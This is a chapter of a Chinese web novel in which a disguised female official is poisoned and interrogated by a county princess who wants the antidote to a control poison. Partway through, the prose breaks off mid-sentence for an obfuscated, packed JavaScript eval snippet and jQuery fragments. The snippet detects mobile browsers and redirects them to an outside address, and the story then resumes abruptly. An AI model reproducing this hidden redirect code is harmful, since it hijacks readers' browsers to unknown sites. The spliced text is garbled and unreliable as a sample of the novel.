19. 别让我失望

作品:《女扮男装后,死对头他哭着求我纳妾

    “县主的好奇心,下官实在无法满足。”眼下不是细想的好时机,柳未放下茶杯,“或许真是下官误打误撞,服下了什么药性对冲的补药,平白浪费了县主的一番心意。”


    她这番话说得模棱两可,元妙真盯着她看了许久,仿佛要在她脸上盯出个洞来。


    “柳大人果然是个妙人。”


    半晌,元妙真向后靠回椅背,语气中带着点说不清道不明的意味,“不过有件事,我觉得还是告诉你比较好。”


    无非又是什么恶趣味的威胁,柳未平静接受:“县主请讲。”


    “其实,派人去送解药是假,当初在西山,我给你的那瓶东西,也是假的,不过是普通的水罢了。”元妙真把玩着手里那只温润细腻的白玉杯,慢悠悠道。


    这大大超出了她的预料。柳未微微瞪大眼睛,假的?


    那她这三个月来的隐忧,不得已与萧既演的那场戏,乃至此刻的周旋,岂不是都建立在一个虚假的威胁之上?


    元妙真将她的反应尽收眼底,满意地继续道:“虽然是慢性毒,可那本就是用来控制人的,喝下去立时就会先发作一次,以你当时那副残破的身子,真灌下去怕不是马上就要去见阎王。我要的是能为我所用的活人,尤其是像柳大人这样有趣的活人,可不是一具冷冰冰的尸体。”


    “不怕告诉你,我原本想着,待过了三个月你伤好些,再派人神不知鬼不觉的给你下真正的毒。”她话锋一转,“但奇妙的是,我派去的心腹回报,在你体内,竟然已经存在此毒,药性却微弱得多,分明是已经解了不少。彼时她以为我当时下过毒却忘了,未敢轻举妄动便回来了。”


    柳未还有些发懵,元妙真眼中意兴更甚,带着探究,也带着兴奋:“柳大人你说,莫不是我当时心急拿错了瓶子?还是说你本就身中此毒,且身边真有人能将其化解?”


    是姬原,是仙音楼留下的那颗药。姬原所用之毒,竟与晋王父女掌控的毒药同源,只是一个是长期控制,另一个却是一次性的,毒性自然有别,加上彼时永嘉郡君替她解了一半,这才让元妙真误解。


    她正想着如何利用这个误会同元妙真谈判,一股锐痛猝不及防地从腹中窜起,那感觉不同于以往的不适,像是有无数细如牛毛的小针在经脉中搅动,不过片刻就蔓延至四肢百骸。


    想起自己进来后喝下的那杯茶,柳未额上渗出冷汗,从剧痛中抬眼看向元妙真。


    元妙真欣赏着她变得苍白的脸色,惬意地发问:“柳大人现在感觉如何?这才是百日忧真正的滋味,我元妙真从来都不是什么心慈手软的人。你既然说药性对冲,解得轻松,那我便给你重新种下,亲眼看上一看,你到底是怎样解的。”


    几乎要从椅子上滑下来,柳未咬紧牙关,将手肘撑在一旁的小几上。百日忧的药性比起姬原的无名毒药不知猛烈多少倍,疼痛让她的意识都有些模糊,心中暗悔自己一时大意,以为自己既然已被控制,元妙真便不会再轻易下手。谁知这人行事如此不按常理出牌,阴差阳错,本来没中她的毒,现在却是真真切切地中毒了!


    在没摸清元妙真的底细之前,绝不能将永嘉郡君牵扯进来。柳未强提一口气,低垂着头,试图凭借意志力扛过去。


    元妙真看穿了柳未的意图,却也并不着急,从果碟里拿起一颗饱满的葡萄,慢条斯理地剥开。葡萄皮将她不施丹蔻的指甲染紫了一块,她的目光却始终落在柳未那微微颤抖的身躯上。


    五脏六腑像是被放在火上炙烤,柳未将袖中防身用的小刀调转,刀鞘抵在肋下,借由这点痛楚转移注意力,保持清醒。元妙真越是急切地想验证什么,越说明她有所图谋,方才大胆的念头在极度的痛苦中变得清晰。


    她打定了主意抬头,汗珠顺着鬓角滑落,也不知滴向哪里,“县主如此急切地想看我毒发,想找到能解此毒之人。莫非县主自己,也中了这百日忧不成么?”


    元妙真吐籽的动作一顿,眼底闪过一丝厉色。


    “下官猜中了。堂堂县主,金枝玉叶,一州团练,游龙在野,谁会给您下这么歹毒的毒呢?”


    柳未捕捉到了这一闪即逝的异常,心中豁然开朗,连不适都减轻了几分。


    “当初大人明知晋王要杀我,却特地蹲守西山,及时地救了我。”


    西山遇袭之后柳未时常想,元妙真出现的时机未免太巧了。当时夜色正深,团练使抛下大部队,不带亲兵单独行动的概率,很小。


    那三波死士除了第一波是姬原派来的,剩下的两波训练有素,在明知能给姬原定罪的关键证据已被萧既带走的情况下还要杀她,显然是晋王派来灭口的。元妙真作为晋王之女,不可能认不出自家手段,不仅认出了,还违背了晋王必杀自己的意图,救下了她。


    柳未喘息着,强打着精神继续分析:“救我,或许是您给自己留的一条后路,又或许只是为了给晋王添堵。”


    “大人与晋王早已父女不合,这百日忧根本就是出自晋王殿下之手。”


    “你住口!”


    元妙真再也听不下去,勃然变色。一直维持着的从容土崩瓦解,她猛地一拍桌子,起身走到柳未面前,居高临下的看着她。花厅外一个侍女听见声音,神情紧张地进来看了一眼,见主子无恙,又退了出去。


    原来是这样啊,过目不忘有时会带来意想不到的惊喜。


    柳未好像根本没感受到那股迫人的压力,低低地笑了起来。


    “大人怕被我说中心事?我醒来后,您在账内杀的那名军医,也是晋王殿下送去监视您的人吧。他对大人缺少敬畏,而且见到我时很惊讶,根本不像是一个救治过我的大夫。真正的医师是大人您的亲兵近卫,您派来给我下毒的心腹,方才送我到花厅又探头的那位侍女姑娘。我替大人背了一个处置碍眼人的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395938|184065||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    理由,大人还未曾谢我。”


    “您此番回京,打着县主的旗号而非是述职,是因为晋王强迫您回去。您先前忤逆了晋王,他会做什么呢,是要陛下收回您的宿州兵权吗?一个被亲生父亲忌惮到要用毒药控制的女儿,大人,你的处境,似乎比我也好不到哪里去。”


    元妙真脸色铁青,盯着柳未的眼神像是要将她生吞活剥。


    片刻后,她俯下身,捏住了柳未的下巴。柳未没力气躲,被迫抬头仰视她,两人挨得很近,几乎鼻息相闻。


    “柳未,你真是聪明得让人讨厌。”


    元妙真脸上的怒容逐渐收敛,取而代之的是一片复杂,被戳穿的寒意,不易察觉的悲凉,最终又化为一声冷笑。


    “不错,他确有此意。百日忧这个名字多么直白,服下后,每隔百日便要发作一次,非有他的独门解药不能行动。此毒一日不解,我一日受制于人。呵,什么团练使,待我回京之后,只怕从此就是个空头县主了。”


    “所以柳未,你诈了我半天,现在明白了?我需要的,不是一个可能解毒的能人,而是一个确切的能解开百日忧的方法。这关乎我能不能在这场父子君臣的游戏里,继续如我所愿的活下去。”


    元妙真的目光带着毫不掩饰的威胁,但深处又好像涌动着孤注一掷的期待。


    “你现在感觉到的痛苦只是开始,百日忧一旦发作,会逐渐侵蚀你的经脉,消磨你的意志,最终让你沦为下毒者掌控的傀儡。告诉我,替你解毒的人是谁,方法是什么?”


    她凑得更近,声音贴着耳边传来,“你当然可以嘴硬,不过我也可以让你提前体验一下,什么叫求生不得,求死不能。”


    柳未忍着胃里的翻江倒海。永嘉郡君能解姬原的毒,却未必能解得开药效更霸道,明显经过改良的百日忧。她手里握着的只是一个模糊的筹码,一把双刃剑。


    她又成了一个赌徒,这一次,她赌自己对元妙真的价值不止于此,赌元妙真对解毒的渴望远大于对一个暂时不听话的棋子的杀意。


    “解毒的方法或许有,”柳未艰难开口,“但我需要时间和清醒的头脑,大人若此刻便让我毒发身亡或者神智昏聩,那这唯一的希望也就彻底断了。”


    元妙真眯起眼审视着她,像是要衡量她话的真假。良久,轻笑一声。


    “好,我便给你一点时间。”


    她拿出帕子,轻轻拂去柳未颊边的细汗,又招手让门外的侍女从一个小巧的锦盒中取出一枚暗红色的药丸,托在掌心,“这是能让你暂时好受些的东西,但别误会,它解不了毒,只是让你我都能更冷静地谈一谈。”


    元妙真缓步走回她面前,柳未伸手要接,可元妙真并未直接将药丸放入她手里,而是反手一转,将它递到了她的唇边。


    “柳未,别让我失望,也别忘了,你的命,从现在起,是真正地握在我手里了。”